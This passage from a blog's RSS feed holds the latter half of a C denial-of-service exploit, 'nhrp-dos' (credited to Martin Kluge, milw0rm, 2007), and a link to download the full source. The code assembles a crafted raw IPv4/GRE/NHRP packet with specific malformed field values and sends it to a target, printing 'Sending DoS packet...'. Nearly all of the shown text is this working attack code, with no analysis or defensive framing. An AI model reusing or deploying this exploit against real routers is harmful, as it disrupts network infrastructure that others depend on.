</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.mpoa_ext <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0034</span>);        <span style="color:#75715e">/* NHRP MPOA ext */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.version  <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;                    <span style="color:#75715e">/* NHRP version */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.type     <span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span>;                    <span style="color:#75715e">/* NHRP type */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.nbma_addr<span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP NBMA t/l addr */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.nbma_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP NBMA t/l sub */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP mandatory part */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.src_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP src proto len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.dst_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP dst proto len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.flags     <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x8000</span>);        <span style="color:#75715e">/* NHRP flags */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.request_id  <span style="color:#f92672">=</span> <span style="color:#a6e22e">htonl</span>(nhrp_req_id); <span style="color:#75715e">/* NHRP request ID */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_nbma <span style="color:#f92672">=</span> src_ip;             <span style="color:#75715e">/* NHRP client addr */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_nbma_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;              <span style="color:#75715e">/* NHRP client sub  */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_pro_addr <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;              <span style="color:#75715e">/* NHRP client proto */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP client information entries (CIE) */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.code       <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP code */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.pref_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xFF</span>;                 <span style="color:#75715e">/* NHRP prefix len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.reserved   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x0000</span>;               <span style="color:#75715e">/* NHRP reserved */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.mtu        <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">1514</span>);          <span style="color:#75715e">/* NHRP mtu */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.holding_time <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">30</span>);          <span style="color:#75715e">/* NHRP holding time */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP t/l client */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                <span style="color:#75715e">/* NHRP t/l sub */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client_pro <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                <span style="color:#75715e">/* NHRP t/l pro */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.preference <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP preference */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.ext        <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x8003</span>);        <span style="color:#75715e">/* NHRP C/U/Type (ext)*/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the IPv4 header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ip_hdr, <span style="color:#66d9ef">sizeof</span>(ip_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the GRE header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf <span style="color:#f92672">+</span> IP_HDR_SIZE, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>gre_hdr, <span style="color:#66d9ef">sizeof</span>(gre_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the NHRP header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf <span style="color:#f92672">+</span> IP_HDR_SIZE <span style="color:#f92672">+</span> GRE_SIZE, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>nhrp_hdr,
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">sizeof</span>(nhrp_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Fix some BSD bugs */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef _BSD
</span></span></span><span style="display:flex;"><span>iphdr <span style="color:#f92672">=</span> (<span style="color:#66d9ef">struct</span> ip <span style="color:#f92672">*</span>) buf;
</span></span><span style="display:flex;"><span>iphdr<span style="color:#f92672">-&gt;</span>ip_len <span style="color:#f92672">=</span> <span style="color:#a6e22e">ntohs</span>(iphdr<span style="color:#f92672">-&gt;</span>ip_len);
</span></span><span style="display:flex;"><span>iphdr<span style="color:#f92672">-&gt;</span>ip_off <span style="color:#f92672">=</span> <span style="color:#a6e22e">ntohs</span>(iphdr<span style="color:#f92672">-&gt;</span>ip_off);
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&amp;</span>sin, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">struct</span> sockaddr_in));
</span></span><span style="display:flex;"><span>sin.sin_family <span style="color:#f92672">=</span> AF_INET;
</span></span><span style="display:flex;"><span>sin.sin_addr.s_addr <span style="color:#f92672">=</span> iphdr<span style="color:#f92672">-&gt;</span>ip_dst.s_addr;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">nhrp-dos (c) by Martin Kluge &lt;mk@elxsi.de&gt;, 2007</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;------------------------------------------------</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Sending DoS packet...&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send the packet */</span>
</span></span><span style="display:flex;"><span>bytes <span style="color:#f92672">=</span> <span style="color:#a6e22e">sendto</span>(fd, buf, IP_HDR_SIZE <span style="color:#f92672">+</span> GRE_SIZE <span style="color:#f92672">+</span> NHRP_HDR_SIZE, <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">struct</span> sockaddr <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>sin, <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">struct</span> sockaddr));
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;DONE (%d bytes)</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">&#34;</span>, bytes);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Free the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">free</span>(buf);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Return number of bytes */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(bytes);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// milw0rm.com [2007-08-09]
</span></span></span></code></pre></div><p><a href="/wp-content/uploads/2009/09/NHRP_dos.c">Download</a></p>
]]></content:encoded>
    </item>
  </channel>
</rss>
